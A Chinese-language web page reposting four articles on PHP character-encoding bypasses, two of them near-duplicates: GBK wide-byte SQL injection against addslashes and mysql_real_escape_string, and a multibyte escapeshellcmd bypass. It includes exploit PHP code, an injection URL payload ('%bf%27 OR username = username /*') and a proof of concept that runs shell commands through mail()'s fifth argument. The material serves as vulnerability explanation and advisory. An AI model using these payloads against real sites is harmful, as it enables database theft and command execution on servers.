PHP字符编码绕过漏洞总结漏洞预警

时间:2023年09月30日

/

来源:momor3

/

编辑:本站小编

收藏本文

下载本文

以下文章小编为您整理的PHP字符编码绕过漏洞总结漏洞预警,本文共4篇,供大家阅读。本文原稿由网友“momor3”提供。

篇1:PHP字符编码绕过漏洞总结漏洞预警

转自:尼奥

原文地址:www.cnblogs.com/Safe3/archive//08/22/1274095.html

其实这东西国内少数 早已知道,只不过没有共享公布而已,有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。

该漏洞最早被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes 转换后

变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触

发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf

CODE:

[client]

default-character-set=GBK

方法二:

在建立连接时使用

CODE:

SET CHARACTER SET 'GBK'

例:mysql_query(“SET CHARACTER SET 'gbk'”, $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

下面是来自ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码

$c = mysql_connect(“localhost”, “user”, “pass”);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET 'gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET 'GBK'”, $c);

mysql_query(“INSERT INTO users VALUES('foo','bar'), ('baz','test')”, $c);

// now the exploit code

$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';

$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?

$user = mysql_real_escape_string($_POST['username'], $c);

$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = “SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'”;

$res = mysql_query($sql, $c);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知

道字符集的情况下用默认字符集处理产生漏洞的,

下面再来分析下国内最近漏洞产生的原因。

问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。

发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过

addslashes() 加上的“\\”失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。

根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试

$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');

$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);

$id3=iconv('gbk', 'utf-8', $_GET['id']);

这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:

$c = mysql_connect(“localhost”, “user”, “pass”);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET 'gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET 'GBK'”, $c);

mysql_query(“INSERT INTO users VALUES('foo','bar'), ('baz','test')”, $c);

// now the exploit code

//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');

$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);

//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = “SELECT * FROM  users WHERE  username = '{$id2}' AND password = 'password'”;

$res = mysql_query($sql, $c);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

测试情况 www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析

hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我

早期的一篇文章Bypassing script. filters with variable-width encodings 。

最后发下广告,保护伞网络www.safe3.cn/提供有偿服务器安全服务。

篇2:PHP字符编码绕过漏洞总结

style=“display:block;padding:0px 10px;” class=“ContentFont”>S:之前转过来的文章删除了,很多人问为什么,其实没有为什么,也懒得一一解答了,再转过来,存档之,

其实这东西国内少数 早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。

该漏洞最早20被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后

变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触

发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf

CODE:

[client]

default-character-set=GBK

方法二:

在建立连接时使用

CODE:

SET CHARACTER SET 'GBK'

例:mysql_query(“SET CHARACTER SET 'gbk'”, $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

下面是来自ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码

$c = mysql_connect(“localhost”, “user”, “pass”);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET 'gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET 'GBK'”, $c);

mysql_query(“INSERT INTO users VALUES('foo','bar'), ('baz','test')”, $c);

// now the exploit code

$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';

$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?

$user = mysql_real_escape_string($_POST['username'], $c);

$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = “SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'”;

$res = mysql_query($sql, $c);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知

道字符集的情况下用默认字符集处理产生漏洞的,

下面再来分析下国内最近漏洞产生的原因。

问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。

发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过

addslashes() 加上的“\\”失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。

根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试

$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');

$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);

$id3=iconv('gbk', 'utf-8', $_GET['id']);

这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:

$c = mysql_connect(“localhost”, “user”, “pass”);

mysql_select_db(“database”, $c);

// change our character set

mysql_query(“SET CHARACTER SET 'gbk'”, $c);

// create demo table

mysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET 'GBK'”, $c);

mysql_query(“INSERT INTO users VALUES('foo','bar'), ('baz','test')”, $c);

// now the exploit code

//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');

$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);

//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = “SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'”;

$res = mysql_query($sql, $c);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

测试情况 www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析

hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我

早期转载的一篇文章Bypassing script. filters with variable-width encodings 。

from:www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

篇3:php escapeshellcmd多字节编码漏洞解析及延伸漏洞预警

漏洞公告在www.sektioneins.de/advisories/SE--03.txt

PHP 5 <= 5.2.5

PHP 4 <= 4.4.8

一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过 对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞,

这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:

/* {{{ php_escape_shell_cmd

Escape all chars that could possibly be used to

break out of a shell command

This function emalloc’s a string and returns the pointer.

Remember to efree it when done with it.

*NOT* safe for binary strings

*/

char *php_escape_shell_cmd(char *str) {

register int x, y, l;

char *cmd;

char *p = NULL;

l = strlen(str);

cmd = safe_emalloc(2, l, 1);

for (x = 0, y = 0; x < l; x++) {

switch (str[x]) {

case ‘”‘:

case ‘\”:

#ifndef PHP_WIN32

if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {

/* noop */

} else if (p && *p == str[x]) {

p = NULL;

} else {

cmd[y++] = ‘\\\\’;

}

cmd[y++] = str[x];

break;

#endif

case ‘#’: /* This is character-set independent */

case ‘&’:

case ‘;’:

case ‘`’:

case ‘|’:

case ‘*’:

case ‘?’:

case ‘~’:

case ‘<’:

case ‘>’:

case ‘^’:

case ‘(’:

case ‘)’:

case ‘[':

case ']‘:

case ‘{’:

case ‘}’:

case ‘$’:

case ‘\\\\’:

case ‘\\x0A’: /* excluding these two */

case ‘\\xFF’:

#ifdef PHP_WIN32

/* since Windows does not allow us to escape these chars, just remove them */

case ‘%’:

cmd[y++] = ‘ ‘;

break;

#endif

cmd[y++] = ‘\\\\’;

/* fall-through */

default:

cmd[y++] = str[x];

}

}

cmd[y] = ‘\\0′;

return cmd;

}

/* }}} */

可以看到,php通过将”,’,#,&,;…..等等在shell命令行里有特殊意义的字符都通过在前面加上\\变成\”.\\’, \\#,\\&,\\;……来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:

$e = escapeshellcmd($userinput);

// here we don’t care if $e has spaces

system(”echo $e”);

$f = escapeshellcmd($filename);

// and here we do, so we use quotes

system(”touch \”/tmp/$f\”; ls -l \”/tmp/$f”“);

?>

很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:

echo hello;id

;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:

echo hello\\;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这 些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身 份,BASH代表命令解释器等等……而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况 下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些 系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而 GBK是双字节的,合法的GBK编码会被认为是一个字符。

大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\\的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:

0xbf;id

或    0xbf’id

经过php的escapeshellcmd单字节转码之后将会是

0xbf5c;id

0xbf5c’id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

[0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo \\

>

?

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GB2312

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK

[loveshell@Loveshell tmp]$ echo \\

\\

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GBK

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$

其中\\的编码为0xbf5c,可以看到在不设置LANG为GBK的时候\\是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0×5c起作用,被认为命令没结束,

然后我们设置编码为GBK,\\就会被认为是一个字符来echo了。

那我们如何来证明php的漏洞呢,拿

$e = escapeshellcmd($_GET[c]);

// here we don’t care if $e has spaces

system(”echo $e”);

?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

putenv(”LANG=zh_CN.GBK”);

$e = escapeshellcmd($_GET[c]);

// here we don’t care if $e has spaces

system(”echo $e”);

?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell\\ uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会 出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对 sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。

mail函数一些代码片段如下:

……

if (PG(safe_mode) && (ZEND_NUM_ARGS == 5)) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, “SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.”);

RETURN_FALSE;

}

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sss|ss”,

&to, &to_len,

&subject, &subject_len,

&message, &message_len,

&headers, &headers_len,

&extra_cmd, &extra_cmd_len

) == FAILURE) {

return;

}

……

if (force_extra_parameters) {

extra_cmd = estrdup(force_extra_parameters);

} else if (extra_cmd) {

extra_cmd = php_escape_shell_cmd(extra_cmd);

}

if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {

RETVAL_TRUE;

} else {

RETVAL_FALSE;

}

…..

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:

……

if (extra_cmd != NULL) {

sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);

strcpy (sendmail_cmd, sendmail_path);

strcat (sendmail_cmd, ” “);

strcat (sendmail_cmd, extra_cmd);

} else {

sendmail_cmd = sendmail_path;

}

#ifdef PHP_WIN32

sendmail = popen(sendmail_cmd, “wb”);

#else

/* Since popen() doesn’t indicate if the internal fork() doesn’t work

* (e.g. the shell can’t be executed) we explicitely set it to 0 to be

* sure we don’t catch any older errno value. */

errno = 0;

sendmail = popen(sendmail_cmd, “w”);

……

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:

//php disable function bypass vul

//by Stefan Esser

//poc by Loveshell

putenv(”LANG=zh_CN.GBK”);

mail(”loveshell@loveshell.net”,””,”“,””,”xxxx”.chr(0xbf).”;”.$_GET[c]);

?>

可以在支持GBK的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽快升级到新版,或者将mail函数拉入你的黑名单之列。

这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致 注射,程序处理和浏览器处理html不一致导致xss,处理xml不一致导致xml注射….这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料,在perl等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是 如何对待输入的数据,字符集不一样,系统得到的信息就不一样,在一些字符集中,只要\\,’,|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问 题,譬如

SJIS

[\\x20-\\x7e]|[\\xa1-\\xdf]|([\\x81-\\x9f]|[\\xe0-\\xef])([\\x40-\\x7e]|[\\x80-\\xfc])

\\x40-\\x7e就包括了\\x5c,导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素,做好处理的一致,避免出现问题。再次向Stefan Esser致,Stefan Esser is my hero! :)

篇4:GBK字符编码(字符集)缺陷导致web安全漏洞漏洞预警

很多时候,字符编码使用,我们不会太过在意的,象中文网站,我们一般用gb2312,gbk,gb18030,也可以用utf-8。但是,可能我们不知道,选择不同编码,可能因此导致程序本身设计缺陷。

多字节编码由来

我们先来看看最常用的,最小字符集是ascii,对应的二级制描述是00-7F 。也是我们计算机使用最早通用的字符集。前期几乎可以表示所有所有英文字符。后来,我们发现想用此表示中文字符。发现远远不够了。常见中文就有7000多个字符。ascii码就只有128字符,只有0-127编码位置。因此,我们想法就是,怎么样做更大字符集,并且保证兼容ascii编码。要支持更多字符,选择更大字符集。我们只能用多个字节来描述一个字符了。一般做法是:每个字节值都大于>7F,如果是多个字节,那么就是:[>7F][>7F]。 这样编码,保证很好的与ascii区分开,有扩大了字符集。想gb2312范围在[0xA1-0xF7][0xA1-0xFE](中间很多没有填满),它完全保证所有字节在A0之上,也就完全满足在7F之上了。

GBK编码漏洞缘由

通过上面的分析,我们知道gb2312编码是很好的跟ascii码分开了。 那么我们看看,GBK编码呢,它是完全兼容gb2312(就是说在gb2312字符集中每个字符位置,与gbk字符集里面位置完全一致,而且包含于gb2312),但是,它有2万多个字符。从上面看,只能选择往下排序了。 就是从A1A0往下排了,我们发现它编码实际范围是:[0x81-0xFE]([0x40-0x7E|0x80-0xFE] ),我们发现由2个字节组成,首字节范围在7F之上,而第2个字节,有一部分在0×40-0x7E了。这就是导致bug原因。我们看看下面例子吧!

从ASCII码表中,我们知道包含字符有:“ A-Za-z@[\\ ]^_`{|}~”,一共有63字符呢。

选择gbk编码,运行上面代码,就一条简单的命令导致出现错误,说字符串 赋值 没有结束! 呵呵,估计很多人看到这个就会认为是php 出Bug了,

电脑资料

但是,如果我们变成$a=”\\a”,发现可以正常运行了。是不是觉得很奇葩啦!!

原因分析:我们知道文件存在磁盘都是二级制方式,无论你存什么字符,最终都是以该字符的在所选字符集中字符编码保存。php解析时候,最新分析单元是字节。无论你是多字节,单字节字符。最终都是按照字节来处理的。 “\” GBK编码是 D55C,php按字节来解释,5C对应字符是“\” 字符。后面直接跟个‘”’,相当于被转义了。 因为没有闭合,因此出现错误! 。 大家看出问题所在了吧,按自己处理的话,会自然把多字节拆成单字节了。这样就会出现很多奇怪问题了。

总结:分析了多字节编码过程,以及产生漏洞原因。其实,我们很多程序语言里面,都会以单个字节来解析的。这样,当你多字节中文中,刚好有字节落在特殊位置,将会出现奇怪的问题。而且,还将给系统带来本身的漏洞,后面我再说说,GBK编码缺陷,导致漏洞的实例吧!欢迎交流!

WebPageTest任意php文件上传漏洞预警

ServU多个安全漏洞漏洞预警

网站常见漏洞 文件上传漏洞漏洞预警

无补丁?教你阻击Office漏洞漏洞预警

企业SEO专业网站漏洞及修复漏洞预警

下载PHP字符编码绕过漏洞总结漏洞预警(共4篇)
PHP字符编码绕过漏洞总结漏洞预警.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档